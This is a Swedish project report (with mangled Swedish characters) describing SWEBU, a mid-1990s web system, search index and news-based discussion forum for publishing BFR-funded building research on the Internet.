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Sammanfattning

Rapporten beskriver hur vi i framtiden p� Internet effektivt kan kommunicera
forskningsinformation. Det v�xande informationsfl�det i de globala n�tverken
g�r det allt mera n�dv�ndigt att skapa kunskapsnoder d�r sakkunniga v�ljer ut
och kvalitetsm�rker informationen samt f�rpackar den p� s�dant s�tt att den blir
l�tt att tillgodog�ra sig f�r de t�nkta m�lgrupperna. I byggsammanhang b�r man
�ver internet ha tillg�ng till forskningsresultat, byggnormer,
produktinformation, erfarenhetsdata fr�n f�rvaltning etc., givetvis inneh�llande
hyperl�nkade referenser till andra k�llor.

Nya m�jligheter �ppnas f�r anv�ndare att via anpassade multimediala gr�nssnitt
kommunicera mot underliggande information. Allt mer av forskningsresultaten
dokumenteras i digital och form blir d�rmed mera tillg�ngliga. Samtidigt
f�r�ndras f�rpackning och tillh�rande lagringsstrukturer som en f�ljd av
introduktionen av avancerade IT-verktyg, som bland annat anv�ndes f�r att
hantera olika slags kunskapsrepresentationer i Internet-milj� (objekt-,
relationsdatabaser, bilder, etc.).

Best�llarkompetensen inom byggomr�det m�ste generellt h�jas fram�ver f�r att
�ka sannolikheten f�r kloka och l�ngsiktiga IT investeringar kommer att ske.
Denna rapport utg�r en inledning p� ett s�dant arbete med b�de en praktisk,
exemplet forskningsnod, och en mera teoretisk teknisk del.

Rapporten beskriver projekt SWEBU, BFR nr. 950217-9, d�r ett system f�r att
g�ra forskningsinformation tillg�nglig �ver Internet och World Wide Web
designats och en demonstrator framtagits.
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1 . Introduktion

Kvantiteten av information som n�r oss varje dag �kar lavinartat. Vikten av att
kunna filtrera och sortera i informationsfl�det �kar d� i samma takt. Vilken
information som �r bra och anv�ndbar beror p� vem du �r, var du befinner dig,
hur gammal den �r, vilka som �r dina arbetsuppgifter och inte minst vad som
intresserar dig. Vad som �r anv�ndbart kan variera fr�n tillf�lle till tillf�lle och
fr�n person till person. I vissa fall �r �versiktlig, kortfattad information av
st�rsta vikt, i andra fall kr�vs mera m�ngfacetterad information med st�rre djup.

Ibland r�cker det inte med att man kan n� de data som finns lagrade i datan�t
v�rlden �ver. Ofta beh�ver man bli guidad r�tt i utbudet av andra personer med
mer erfarenhet inom ett visst omr�de. F�r att kunna dra r�tt slutsatser fordras
m�nsklig inverkan. S�lunda beh�ver man inte bara s�ka data, utan �ven
personer att samarbeta och diskutera med, f�r att de data man hittar ska kunna f�
en vettig inneb�rd och bli praktiskt anv�ndbara.

F�r att kunna tillgodose dessa skiftande behov, kr�vs att man kan skr�ddarsy
l�sningar. I den h�r rapporten beskriver vi hur en organisation som BFR skulle
kunna tackla dessa problem. I SWEBU, Swedish Building Research on the
World Wide Web, anv�nder Byggforskningsr�det, BFR, sig av det globala
datorn�tverket f�r att publicera och f�nga forskningsinformation fr�n forskning
som �r sponsrad av BFR.

Systemet baseras p� TCP/IP-kommunikation och �r implementerat med hj�lp av
WWW-tekniker. Valet av detta system baseras p� att det �r enkelt att anv�nda
och administrera, och att det �r oberoende av datorplattform. Vidare f�rdelar
med ett dylikt system �r att det g�r det m�jligt att decentralisera information, s�
att den kan lagras och administreras hos den som producerar informationen.
BFR's roll blir d� att skapa ett index �ver dessa distribuerade data s� att de blir
l�tt �tkomlig f�r de relevanta m�lgrupperna. BFR v�ljer ut information de anser
vara relevant och indexerar den. I sin egenskap av auktoritet p� byggomr�det
kvalitetsm�rker de genom sitt val informationen. Detta resulterar i ett enkelt s�tt
att n� denna information.

I f�rsta fasen riktar sig systemet i f�rsta hand till forskare och deras behov.
Sedan kommer systemet att vidgas f�r att �ven passa grupper som

- studenter,
- byggnadsindustri,
- allm�nheten.

F�r att anpassa systemet till s� varierande m�lgrupper m�ste nya anv�ndarmodeller
utformas.

I denna rapport diskuterar vi hur man modellerar f�r forskarens behov, och p�
vilka s�tt ett v�ldesignat system kan hj�lpa den enskilde forskaren i hans arbete.
Vi har anv�nt SWEBU som ett exempel p� hur ett informationssystem kan
fungera samt visat vilka verktyg som beh�vs f�r att s�ka och underh�lla
information. Vidare diskuteras framtiden och framtida behov inom digital
informationshantering.
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Rapporten v�nder sig till personer inom byggbranschen som �r involverade i att
formulera IT-strategier f�r uppbyggnad av informationssystem samt personer
med kompetens inom b�de bygg och IT. Vissa delar av rapporten �r ganska
tekniska med avsikt att ge inblick i systemens m�jligheter och begr�nsningar
och de m�nga IT-begrepp som surrar runt. Detta inneb�r att vissa delar kan
f�rbig�s av dem som ej beh�ver tr�nga alltf�r djupt in i problematiken runt
systemuppbyggnad och underh�ll.

Arbetet har bedrivits i Projekt BFR nr: 950217-9, i samarbete med Jan
Sandelin, Jan Lagerstr�m och Britt Olofsdotter p� BFR.

2 . M�ls�ttning

Fr�n ans�kan daterad april 1995,

"Modern informationsteknik kan idag anv�ndas f�r att bygga upp system
som g�r information l�ttillg�nglig �ver hela v�rlden, med f�r olika anv�ndare
anpassade gr�nssnitt mot datorsystemen. Samtidigt kan verktyg tas fram som
f�renklar inl�ggning och administrativ hantering av forskningsinformation
samt �kar m�jligheten att presentera helt�ckande information f�r olika
anv�ndare.
Projektet syftar till att
- g�ra forskningsresultat och �versikter �ver p�g�ende forskning

tillg�ngliga �ver World Wide Web, WWW, p� Internet (det globala
datorn�tverket),

- f�renkla och effektivisera BFRÕs interna arbete med dokumentation av
p�g�ende och avslutad forskning, samt att

- introducera ett diskussionsforum p� Internet f�r byggforsknings-
intresserade."

Fr�n (Christiansson, Engborg, 1995)
"SWEBU skall kunna anpassa sig efter olika anv�ndares behov. F�ljande
typanv�ndare definieras;
- forskare,
- utvecklingschef p� f�retag,
- utvecklare p� f�retag,
- h�gskolestudent,
- handl�ggare p� BFR".

Efter det att projektet p�g�tt en tid framkom �nskem�l fr�n BFRÕs sida om att tid
skulle omf�rdelas mot en bredare modellering av BFRÕs interna databaser med
siktet inst�llt mot att de �ven skulle kunna f�rs�rja den externa forsknings-
informationen.

Den f�r�ndrade inriktningen medf�rde �ven att mycket tid lades p� utredningar
om s�v�l som intern som extern s�kerhet. Dvs vem skulle f� g�ra vad med
informationen internt, och vilken information skulle kunna n�s utifr�n.

Denna f�r�ndrade inriktning speglas i f�religgande rapport genom viss tyngd
mot systemuppbyggnadsfr�gor.
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3 . Resultat

Projektresultat har tidigare redovisats i (Christiansson, 1996a), (Christiansson
& Engborg, 1995), (Christiansson, 1995) samt vid f�redrag i Sverige och
internationellt.

Vidare har SWEBU-projektet redovisats f�r bes�kande nationella och
internationella grupper vid KBS-Media Lab.

De viktigaste resultaten i punktform listas nedan.

- Tidig l�sning f�r hur externa anv�ndare kan s�ka i indexerad distribuerad
forskningsinformation via kunskapsnoden SWEBU.

- F�rslag till strukturer f�r lagring av information om forskningsprojekt.
- �vergripande funktionalitet, modeller och struktur f�r kunskapsnoden

SWEBU inklusive BFR-extern relevant information.
- Analys och f�rslag till l�sningar f�r s�kerhet i interaktiva webbaserade

informationstj�nster.
- Konferensyta baserad p� lokala Newsgrupper (lokal News-server med

diskussionsgrupper).
- Grafisk (funktionell) design av anv�ndargr�nssnitt (handl�ggare och

externanv�ndare).
- Analys av externa strukturer f�r forskningsinformation.
- Mall f�r projektstatusrapporter och r�d f�r lokal uppl�ggning p� WWW-

servers av projektinformation.
- Modell av BFRÕs underh�llsprocesser p� handl�ggarniv� (l�gga in

projekt, editera projekt, godk�nna f�re utl�ggande p� WWW).
- Strukturering och implementering av hemsidor f�r Fuktgruppen i Lund

p� WWW.
- Arbetsytas som st�d i utvecklingsarbetet och senare i systemunderh�ll.
- Tester av Oracle 7-databas med tillh�rande utvecklingssystem.
- Val och konfiguration av servers f�r WWW och News inklusive

operativsystem och h�rdvara. (Netscape Enterprise, Netscape News
Server 2.01, Solaris resp Sundator).

- Framtidstrender inom omr�det Òuppbyggnad av kunskapsnoderÒ.

4 . Analys

4 . 1 IT SITUATION VID PROJEKTSTART

Byggforskningsr�dets datorn�tverk byggde vid projektets start p� PC- och
Novell teknologi. e-mailkommunikation skedde med hj�lp av uppringd SLIP-
koppling (Serial Line Internet Protocol) p� beh�vande system. Hela
organisationen delade en e-mailadress. Se �ven (Gunnarsson, 1996) f�r
�versiktlig beskrivning av Internet och dess funktioner.

Maskinparken bestod som b�st av Intel 486DX-processorer med 4MB intern-
minne med en uppringd Internet-f�rbindelse via 9600 baud-modem kopplat till
en Intel 386 dator.
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Det interna databassystemet arbetade i DOS-milj� och var uppbyggt i dBase IV
(fr�n Borland). Ingen on-line forskningsinformation var tillg�nglig f�r
utomst�ende. Denna funktion sk�ttes ist�llet via Byggdoks databas BYGGFO.
Informationen i BYGGFO-databasen uppdaterades med uppgifter fr�n BFR-
systemet PDS, Projektdatabassystem, genom inmatning fr�n floppy.

4 . 2 UTVECKLINGSHORISONTEN

IT-utvecklingen har nu tagit fart och nya system och l�sningar skapas hela
tiden, ofta innan behov uppst�tt eller ens formulerats..

Vi har en inbyggd mots�ttning i detta att samtidigt hitta snabba IT st�dda
l�sningar som p� kort sikt l�ser v�ra behov. Samtidigt som vi vill undvika att
l�sa upp oss i oflexibla l�sningar. Detta inneb�r att vi m�ste

- kombinera rutindesign med kreativ design i team bes�ende av brukare,
IT-specialister, samh�llsvetare etc,

- ha en helhetssyn och �ppenhet vid design av IT-st�dda l�sningar,
- l�gga ner mycket arbete p� omv�rldsbevakning f�r att f�nga och

analysera basteknologier som kan f�rv�ntas bli best�ndiga IT-st�dda
l�sningar,

- ha omfattande omv�rldsbevakning och analys av samh�llsutveckling och
dess interaktion med IT,

- str�va efter att finna l�sningar vars design kan �teranv�ndas �ven om
tekniken f�r implementation f�r�ndras och f�rb�ttras.

Figur 1 Synpunkter p� l�ngsiktiga l�sningar fr�n Arbetsgruppsm�tesprotokoll den
10.7.1996
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4 . 3 OMV�RLDEN

Det blir allt vanligare idag att kunna n� information via Internet. Redan nu finns

- Networked Computer Science Technical Reports Library, NCSTRL.
Detta �r en internationell samling av tekniska rapporter inom
datalogiomr�det fr�n institutioner och industri- och regeringsst�dda
forskningslaboratorier. Dessa rapporter �r tillg�ngliga via Internet f�r
undervisning och andra icke-kommersiella �ndam�l via ett n�tverk av
servers. N�tverket finansieras av de deltagande institutionerna.
(NCSTRL, 1996).

- DESIRE - Development of a European Service for Information on
Research and Education. EU project. (Koch, 1997). "DESIRE syftar till
att skapa informationsstrukturer f�r den europeiska akademiska v�rlden.
Man kommer att utveckla verktyg f�r att b�ttre st�dja multimedial
information, ge b�ttre indexeringstj�nster och b�ttre
informationsadministration.

- CRIS-SWEDEN, Current Research Information System. En databas
�tkomlig fr�n WWW d�r man kan s�ka information om
forskningsprojekt finansierade av NUTEK (N�rings- och
Teknikutvecklingsverket), NFR (Naturvetenskapliga Forskningsr�det)
och TFR (Teknikvetenskapliga forskningsr�det). Databashanteraren
Progress anv�ndes av systemet.

- ASKen, Automatiska Studiekatalogen. (HSV, 1997).
ASKen �r en databas som inneh�ller samtliga svenska universitets och
h�gskolors utbildningsprogram och kurser med kringinformation.
Respektive universitet och h�gskola ansvarar f�r att den egna studie-
informationen �r tillf�rlitlig och korrekt.

- Merkurius, Lunds Universitets N�ringslivsnod, en kunskapsnod d�r
kunskap producerad vid Lunds Universitet skall g�ras tillg�nglig f�r sm�
och medelstora f�retag. (KBS-Media Lab, 1996).



SVENSK BYGGFORSKNING P� INTERNET, SWEBU 11

5 . SWEBU-bakgrund

5 . 1 PROBLEMEN IDAG

De system som finns idag f�r att sprida forskningsinformation kan g�ras mera
effektiva med st�d av avancerad IT. P� detta s�tt kan m�nga problem elimineras
eller avsev�rt reduceras. H�r ges n�gra exempel p� s�dana omr�den:

- informationen �r sv�r att n� p� ett effektivt s�tt i rum och tid f�r olika
anv�ndare,

- begr�nsat anpassade anv�ndargr�nssnitt,
- systemen �r tunga att underh�lla b�de vad avser gr�nssnitt och inneh�ll,
- ganska begr�nsat informationsinneh�ll (kan utan st�rre anstr�ngning blir

mera full�digt idag),
- h�ga mediekostnader (transport och presentation),
- h�ga lagrings- och dupliceringskostnader,
- sm� m�jligheter att g� utanf�r traditionell presentation i text och bild utan

interaktionsm�jligheter.

I samband med inf�randet av nya IT verktyg uppst�r �ven nya problem;

- s�kerhetsproblem p� grund av �kad av tillg�nglighet och flexibilitet,
- ny inhouse-kompetens beh�ver byggas upp (drift, utveckling,

strukturering, gr�nssnitt), underh�llas och st�ndigt f�rnyas p� grund av
den snabba IT-utvecklingen,

- vi m�ste l�ra oss delvis nya s�tt att t�nka - fr�n linj�rt till associativt
(exempelvis en bok blir hypertext),

- nya verktyg kan och b�r utvecklas f�r exempelvis s�kning och
interaktion med datorf�rmedlad information,

- arbetss�tt och organsationsstrukturer kommer att p�verkas,
- nya rutiner f�r kvalitetsm�rkning och kunskapsfiltrering.

5 . 2 TIDIGARE ARBETEN

Vi har under tidigare projekt samlat teoretiska och praktiska erfarenheter fr�n
design och implementering av informationssystem, KUB-projektet (Landin
et.al., 1992), Delphi-projektet (Christiansson, M�nsson, S�rhede, 1992).
Dessa omfattar

- design av multimediagr�nssnitt mot anv�ndarna,
- representation och strukturering av underliggande kunskap,
- kunskap om dynamiska egenskaper f�r systemen s� att de kan v�xa och

underh�llas med specialdesignade verktyg,
- arbete i demonstratormilj� (inkrementell prototyping) tillsammans med

anv�ndarna,
- kunskap om anv�ndarens s�k- och navigeringsverktyg.

Det vi ser idag j�mf�rt med de system vi utvecklat under de f�reg�ende 10 �ren �r att
en betydande skalningseffekt intr�der p� grund av de snabbt v�xande globala
n�tverken.
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DKN

Many simultaneus users with 
different competence and interest. 

Situated on optional places.

Much larger knowledge content 
which also overlap and 
are physically spread.

Rich adapted multimedia 
interface

From a local to a global 
'operating system' on different 
hardware platforms.

.

Figur 2 ÒN�r vi g�r fr�n enanv�ndarsystem till globalt tillg�ngliga system uppst�r en
hel rad skalningseffekter". Fr�n (Christiansson, 1996a)

5 . 3 ANV�NDARMODELLER

Forskarens uppgifter �r m�nga och av varierande slag. Bland annat m�ste han:

- h�lla sig ajour med vad andra redan gjort inom forskningsomr�det,
- s�ka referenser,
- hitta material och utrustning f�r experiment,
- hitta finansi�rer,
- komma i kontakt med andra personer med liknande problem och fr�ge-

st�llningar,
- f�rmedla sin kunskap till allm�nhet, n�ringsliv och studenter.

F�r att f� hj�lp i dessa uppgifter kan forskaren anv�nda systemet p� tv� olika
s�tt:

1. Normalt bruk, systemet kan ej i detalj anpassas efter den enskilde
anv�ndarens preferenser.

2. Individuellt bruk, man identifierar sig f�r systemet genom att ange sin
anv�ndaridentitet och ett eventuellt l�senord. Detta f�r att skydda
systemet mot obeh�riga anv�ndare.

I det f�rsta fallet �r systemet betydligt l�ttare att bygga och administrera. Det �r i
detta fallet inte n�dv�ndigt att h�lla reda p� vilka anv�ndare som finns i systemet
och man beh�ver d�rigenom inte skapa rutiner f�r att ta bort och l�gga till
anv�ndare. Man beh�ver inte heller bygga rutiner och skapa administration f�r
att ta hand om anv�ndare som gl�mt sin anv�ndaridentitet eller l�senord.

Nackdelar med detta �r att man ej har m�jlighet att ge personlig service och detta
begr�nsar de tj�nster man kan erbjuda den enskilde anv�ndaren. Man kan
j�mf�ra detta med att ringa Fr�ken Ur f�r att f� korrekt tid vilket ju �r en relativt
universell uppgift. Alla personliga konfigurationer som g�rs m�ste lagras p� en
lokal dator. Detta st�ller till problem om mer �n en person delar p� en och
samma dator med tillh�rande mjukvara, speciellt som m�nga s� kallade
persondatorer i sanning �r just persondatorer, utan m�jlighet att enkelt skapa
personliga konfigurationer f�r olika anv�ndare.
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Ett system med l�senordsidentifierad anv�ndare kan utf�ra tj�nster med mera
komplex dialog, som �r betydligt h�rdare knuten till anv�ndarens person t ex
telefonbanktj�nster.

I ett s�dant system �r det m�jligt att g�ra personliga konfigurationer av
systemet, vilka lagras centralt s� att de blir n�bara oberoende av tid och rum.
Nackdelen med denna typ av system, �r att misst�nksamma individer kan k�nna
obehag inf�r att l�mna ut sig till systemet. Detta kan vara viktigt att t�nka p� vid
design av denna typ av system att ibland kan det r�cka med att man kan s�rskilja
anv�ndare som olika individer. Man beh�ver inte fr�ga efter e-mailadress om
man inte har f�r avsikt att bruka den f�r n�got visst �ndam�l. Naturligtvis
sjunker den m�jliga serviceniv�n om man ej enkelt kan komma i kontakt med
anv�ndaren t ex f�r att meddela tider f�r planerade driftsavbrott eller f�r att
upplysa om nya eller f�rb�ttrade tj�nster.

5.4 TILLG�NGLIGA DATA

Information m�ste kvalitetsm�rkas. Detta betyder att n�gon m�ste vara ansvarig
f�r att den information som presenteras �r relevant och korrekt. Exempel p�
s�dan information �r

- abstracts - f�r att snabbt f� veta vad andra forskare lagt tid p�,
- personinformation, telefonnummer, e-mailadresser, curriculum vitae,

projektdeltagande etc,
- referenslitteratur p� projektbasis,
- projektstatus f�r egna och andras projekt, s�v�l p�g�ende som avslutade.



14 ENGBORG U., CHRISTIANSSON P., STJERNFELDT F.

6 . SWEBU, Systembeskrivning

6 . 1 INLEDANDE KONCEPTUELLA MODELLER

Anv�ndare

Kunskapsf�rs�rjare 
- Forskare 
- Anslagsbeviljare 
- Administrat�rer

Kunskapskonsumenter 
& Kontakts�kare 
- Allm�nheten 
- Studenter 
- Byggindustrin 
- Forskare

Gr�nssnitt 
 

Anpassas efter anv�ndaren 
- Form 
- Funktion 
- Inneh�ll

Kunskapsbas

Inneh�ll 
- Projektbeskrivning 
- Aktivitetsbeskrivning 
- Projektresultat 
- BFR'S HEMSIDA

Verktyg

- Gr�nssnittskontroll,      
      Anv�ndarmodeller 
- Kommunikation(E-Mail,  
      MIME,  WWW) 
- Lagring (Relationsdatabas,  
      hypertext)

KONCEPTUELL MODELL. 
SWEBU

©Per Christiansson, Uno Engborg. 3.95

  

Figur 3 Konceptuell modell �ver SWEBU fr�n (Christiansson, Engborg, 1995).
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Rapport lagras: BFR? Lokalt? Format: HTML? 
RTF? TeX? F�rslag - Lagras lokalt med mall f�r 
utseende och l�nkar fr�n BFR. 
 
 
 

Aktivites status
N� personer, 
Projekt 
- status 
- beskrivning 
- resultat

Relationer mellan bibliotek, Byggdok, Byggtj�nst, BFR och forsknings- 
institutioner vad betr�ffar �tkomst och lagring?

DATA- MODELL, SWEBU

Inmatnig

©Per Christiansson, Uno Engborg 3.1995

Projekt uppgifter 
-Personal 
-Ekonomi 
-Nuvarade status.

Rapport textVokabul�r

Firewall

Figur 4 Ursprunglig datamodell per april 1995 f�r SWEBU fr�n (Christiansson,
Engborg, 1995).
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WWW - server 
hos BFR

Databas 
hos BFR

klassifisering 
Hos BFR

WWW 
klient

WWW 
server

Indexering 
Hos BFR

Brandmur/Fire wall

FYSISK MODELL, SWEBU

©Per Christiansson, Uno Engborg 3.1995

Figur 5 Fysisk modell f�r SWEBU fr�n (Christiansson, Engborg, 1995). Det ovala
n�tverket utg�res av Internet med tillh�rande tj�nster som World Wide
Web, WWW.

I figur 6 syns en tidig skiss p� ett t�nkbart anv�ndargr�nssnitt f�r externa
anv�ndare och driftspersonal. �nskem�l framkom under projektets tidiga
skeden att projektet �ven skulle titta p� den BFR-administrerade
forskningsinformationen. D�rf�r gjordes en konceptuell modellering av
systemet f�r lagring av forskningsinformation.
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Endast f�rsta tr�ffen visas.

Figur 6 Tidig skiss p� anv�ndargr�nssnitt mot underliggande p� BFR
administrerad databas �ver forskningsprojekt.
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6 . 2 KUNSKAPSNODER

En kunskapsnod (Christiansson, 1996a) kan beskrivas som en
anslutningspunkt till det Dynamiska kunskapsn�tet (DKN) d�r personer fr�n
olika kunskapsdom�ner (Figur 7) kan m�tas oberoende av tid och rum. De kan
via noden n� information som antingen finns lagrad i sj�lva noden eller som
filtrerats och kvalitetsm�rkts av noden. Filtreringen kan t�nkas ske antingen
manuellt eller via agenter och artificelll intelligens. .

.

ResearcherIndustry

Interface 
(multimedia)

Knowledge

The Knowledge Node

- Access and augment knowledge 
- Communcation support

©Per Christiansson, 1996

DKN

Figur 7 Kunskapsnoden kan ses som en metabeh�llare och beh�righetskontroll
f�r kunskap. (Christiansson, 1996a).

6 . 3 �VERGRIPANDE SWEBU-MODELL

Med utg�ngspunkt fr�n en analys av de befintliga datastrukturerna i PDS,
Projektdata systemet, p� BFR gjorde vi en datamodell f�r n�sta generations
webbaserade system. Den existerande strukturen hade f�rtj�nster som vi f�rs�kt
ta tillvara.

Inga systematiska intervjuer gjordes med BFR-anst�llda r�rande deras erfaren-
heter av anv�ndning av PDSen. Ing�ende diskussioner genomf�rdes dock med
ett antal nyckelpersoner som i stort var n�jda med existerande system. Det som
ej fungerade bra var rutinerna f�r att g�ra informationen tillg�nglig f�r
ytterv�rlden.

De flesta p� BFR ans�g till en b�rjan att det skulle inneb�ra stora problem att
med bibeh�llen s�kerhet g�ra delar av PDS tillg�nglig p� World Wide Web,
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WWW. Efter l�nga diskussioner och utredningar fr�n v�r sida enades vi om en
s� kallad brandv�ggsl�sning motsvarande v�rdet av det som skall skyddas
(kostnader f�r rekonstruktion, f�rlust av trov�rdighet, or�ttm�tigt utnyttjande
etc.).

6 . 4 DATAMODELL F�R SWEBU

Figur 8 �versiktlig datamodell �ver l�mplig framtida lagringsstruktur f�r
forskningsinformation vid BFR.
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Figur 9 Detaljerad datamodell �ver l�mplig framtida lagringsstruktur f�r
forskningsinformation vid BFR.

F�ljande tabeller �r klippta direkt fr�n SWEBU arbetsyta p� World Wide Web.
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Modellen bygger p� f�ljande grundantaganden.

Alla aktiviteter �r projekt (dvs �ven BFR's egna projekt).All verksamhet har
karakt�ren av projekt. I databasschemat har vi dock skiljt p� projekt som �r
direkta forskningsprojekt och s�dana som inte har denna karakt�r t ex
styrgrupper m.m. som har f�tt en egen tabell i databasen f�r att ge m�jlighet
till olika administrationsstrategier och s�kerhetsniv�er f�r de olika
tabellerna.

Alla personer h�nf�rs till enda tabell oavsett om de �r fysiska eller juridiska.
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6 . 5 FILSTRUKTUR F�R HTML-DOKUMENT I SWEBU

LAGRINGSSTRUKTUR
f�r SWEBU

arbetsyta

swebu

icons svenska english

icons

filer

index

filer

index

filer

rapport m�tesan-
teckningar

anslags-
tavla

icons

index

filer

arkiv

Figur 10 Lagringsstruktur f�r HTML-dokument i server.

F�rutom cgi-script f�r s�kfunktioner best�r SWEBU av en v�v av HTML-
dokument inlagda i en samling olika mappar (se figur 10).

I icons-mappen lagras grafiska element som inte inneh�ller n�gon text .(t ex
pilar f�r navigation) De beh�ver d�rmed inte �vers�ttas om man vill ut�ka sin
WWW-server med ytterligare fr�mmande spr�k.

Genom att ha parallella mappar f�r olika spr�k blir det l�tt att navigera i systemet
f�r den som skall underh�lla det. (Oftast med en expert p� respektive spr�k).
I strukturen anv�nds relativ adressering f�r att kunna testa systemet lokalt
och/eller flytta hela SWEBU-strukturen till annan plats i p� h�rdisken utan att
f�r den skull beh�va korrigera n�gra l�nkar i dokumenten. Ytterligare referenser
till HTML (Hypertext Markup Language) �terfinnes i (W3C, 1997).

6 . 6 KLIENT/SERVER

I dagens system �r det vanligt att man distribuerar tj�nster �ver ett n�tverk, s� att
de systemdelar som �r b�st p� en viss uppgift f�r betj�na de �vriga. I ett system
kan det finnas olika typer av servers (betj�nare) till exempel: databasservers,
fileservers av olika slag, HTTP-servers, mailservers (f�r elektronisk post),
News-servers (f�r konferenser), nameservers o.s.v. Dessa servers kan k�ra p�
en eller flera fysiska maskiner.

Serverbegreppet h�r �r allts� inte kopplat till den fysiska maskinen, utan till den
eller de tj�nster som tillhandah�lls. F�r att utnyttja dessa olika tj�nster kr�vs det
klienter. Ibland kan samma klientprogramvara hantera m�nga olika tj�nster
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samtidigt. Exempelvis kan WWW-bl�ddraren Netscape Navigator bl a l�sa
elektronisk post, News och vanliga WWW-sidor; samtliga tj�nster servade
(betj�nade) fr�n var sin server.

Precis som p� Systembolaget bildas det ofta k�er i rusningstid. F�r att avhj�lpa
dessa problem kan man antingen �ka varje servers kapacitet eller �ka antalet
servers. Det senare �r att f�redra eftersom man p� s� s�tt f�r b�ttre driftss�kerhet
i systemet som helhet. Skulle en av m�nga servers falla ifr�n, kommer detta att
m�rkas betydligt mindre �n om en server med h�g kapacitet bland f� drabbas av
funktionsbortfall.

7 . Metodik

S� kallad inkrementell prototyping, eller demonstratormetod har anv�nts. Denna
medger att man i projektgruppen best�ende av experter fr�n b�de anv�ndarnas
omr�den och informationsteknikexperter efterhand kan konkretisera annars
mycket abstrakta fr�gor. Fr�gor som r�r integrationen av avancerad
informationsteknik, systemdesign och erfarenheter fr�n de till�mpningar man
modellerar och implementerar. Id�er kan v�ckas, kommuniceras, analyseras och
snabbt implementeras i en demonstrator, som till en f�rsta b�rjan huvudsakligen
utg�rs av g�nssnittsf�rslag med viss form och funktion, men utan egentligt
systeminneh�ll bakom.

Projektdeltagarna har tillg�ng till anv�ndaridentitet och l�senord f�r att kunna
komma �t system och arbetsyta fr�n World Wide Web, WWW.
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Figur 11 SWEBU-systemet best�r av en systemdel riktad mot externanv�ndarna
och en arbetsyta f�r design/utvecklingsteam. Arbetsytan �verg�r till en
drift- och underh�llsyta n�r systemet tas i produktion.

8 Systemfunktioner

8 . 1 KUNSKAPSNOD SWEBU

SWEBUÕs systemdel dvs projektnodens webbaserade gr�nssnitt har utseende
enligt figur 12. Den enda funktion som ej �r implementerad �r ÒrapporteringÒ.
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Figur 12 Kunskapsnoden SWEBUÕs anv�ndargr�nssnitt per den 10.9.1996.
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8 . 1 . 1 S�kning i svenska byggforskningsprojekt p� WWW

SWEBUÕs indexmotor genererar automatiskt nytt index med j�mna mellanrum.
S�ksidan n�r man genom att klicka p� ÒS�k i forskningsdatabasenÒ avbildad i
figur 12. S�kf�nstret enligt figur 13 kommer d� upp och man kan skriva in
valfritt s�kuttryck (fritext med m�jlighet att �ven anv�nda Booleska uttryck som
t ex AND och OR).

Resultatet presenteras relevansrankat med tr�ffbild i form av adresser till sidor
tillsammans med korta sammanfattningar.

Indexeringen sker genom att en webrobot h�mtar inneh�llet fr�n en lista (enligt
BFR-administrat�rens �nskem�l) med URL-adresser (Uniform Resource
Locator) till avdelningar och forskningsgrupper med egna webservers runtom i
landet (exempelvis;    http://delphi.kstr.lth.se/  ) .

Som indexeringsmaskin anv�ndes Excite (   http://www.excite.com    ) vilken i
projektet anpassats till SWEBUÕs sid design.

.

Figur 13 S�kning i SWEBUÕs index �ver svensk byggforskning.
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8 . 1 . 2 Diskussionsforum i SWEBU

Genom att klicka p� ÒKonferenserÒ i figur 12 n�r man SWEBUÕs
diskussionsforum, se figur 14. Diskussionsforumet best�r av lokala
newsgrupper d�r angel�gna konferenser/diskussioner kan f�ras.

Det finns f�r n�rvarande tv� �ppna grupper, en grupp d�r man kan diskutera
SWEBU-systemet, (news://milvus.kstr.lth.se/swebu.synpunkter) och en grupp
(news://milvus.kstr.lth.se/swebu.test) som kan anv�ndas f�r att testa att
anv�ndarnas WWW-klienter �r r�tt inst�llda eller f�r �vning i att anv�nda News-
systemet.

Figur 14 SWEBU har m�jligheter till diskussioner (m�ten/konferenser) av
angel�gna fr�gor i egen News-server.

Tanken �r att vem som helst kan uttrycka �nskem�l om �ppnande av nya
grupper/m�ten exempelvis inom fukt eller IT-omr�det. Ansvarig handl�ggare p�
BFR fattar beslut om s� skall ske. Han/hon kan eventuellt �ven fungera som
moderator i gruppen/m�tet. Inkomna inl�gg ligger kvar obegr�nsad tid.
Systemet kan �ven konfigureras f�r att l�ta inl�ggen ligga kvar i servern, ett
minsta och h�gsta antal dagar. Det �r �ven m�jligt att skapa l�senordsskyddade
grupper d�r privata diskussioner kan bedrivas av dem som har tilltr�de dit. Se
figur 15.
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Figur 15 Man kan �ven skapa l�senordsskyddade grupper/m�ten om s� �nskas.
Netscape News-server st�djer �ven kryptering med SSL, Secure Socket
Layer. (Detta senare kr�ver att man har ett s� kallat certifikat).

Svar p� inl�gg kan ske s�v�l till gruppen/m�tet som till enskilda m�tesdeltagare
per e-mail.

Konferenssystemet har f�ljande struktur:

- grupp/m�te p� �versta niv�n (skapas och tas bort av BFR-handl�ggare),
- tr�dar inom grupp/m�te som samlar inl�gg ordnade efter �mne p�

inl�gget och n�r inl�gget kom in. Tidsordningen har givetvis betydelse
eftersom det �r en diskussion som f�rs.

8 . 1 . 3 Mallar

H�r kan man hitta mallar f�r hur man ska kunna fylla i statusrapportering. Se
figur 16. Mallen �r densamma som KBS-Media Lab anv�nder f�r att informera
om p�g�ende projekt p� World Wide Web.
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Figur 16 Formul�r f�r inmatning av statusrapport till BFR fr�n SWEBU.
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8 . 2 ARBETSYTA

I projektet etablerades en arbetsyta p� Word Wide Web, WWW, f�r att
underl�tta kommunikation mellan projektdeltagarna. Arbetsytan utg�r ett viktigt
resultat fr�n projektet, figur 17. Denna b�r anv�ndas och vidareutvecklas i en
eventuell forts�ttning av projektet.

Figur 17 En arbetsyta etablerades i projektet p� WWW. Denna kan n�s �verallt d�r
Internetanslutning finns.

Arbetsytan inneh�ller tre niv�er av dokumentation, se figur 17,

- Rapport ,  d�r arbetsrapport kontinuerligt kan g�ras synlig. (Har endast
delvis anv�nts i projektet). H�r �r det l�mpligt att systematiskt samla
erfarenheter fr�n projektet och g�ra dem synliga f�r projektdeltagare och
senare drifts- och underh�llspersonal.

- M�tesanteckningar. I denna finns anteckningar (med figurer) fr�n m�ten
som h�llits i de b�da delprojekten tillsammans

- Anslagstavlan. I denna finns f�r n�rvarande instruktioner om hur
datorlagrat material kan s�ndas mellan projektdeltagarna. I anslagstavlan
kan exempelvis ett layout f�rslag l�ggas in f�r kommentar av
projektdeltagarna.

I figur 17 syns �ven en fast ram l�ngst ner p� bilden. Se �ven figur 18. Denna
inneh�ller f�ljande funktioner:

- direkthopp till SWEBU-systemet,
- navigationshj�lp i SWEBU-systemet om s� skulle beh�vas (�nnu ej

implementerad) (ÒkompassrosenÒ),
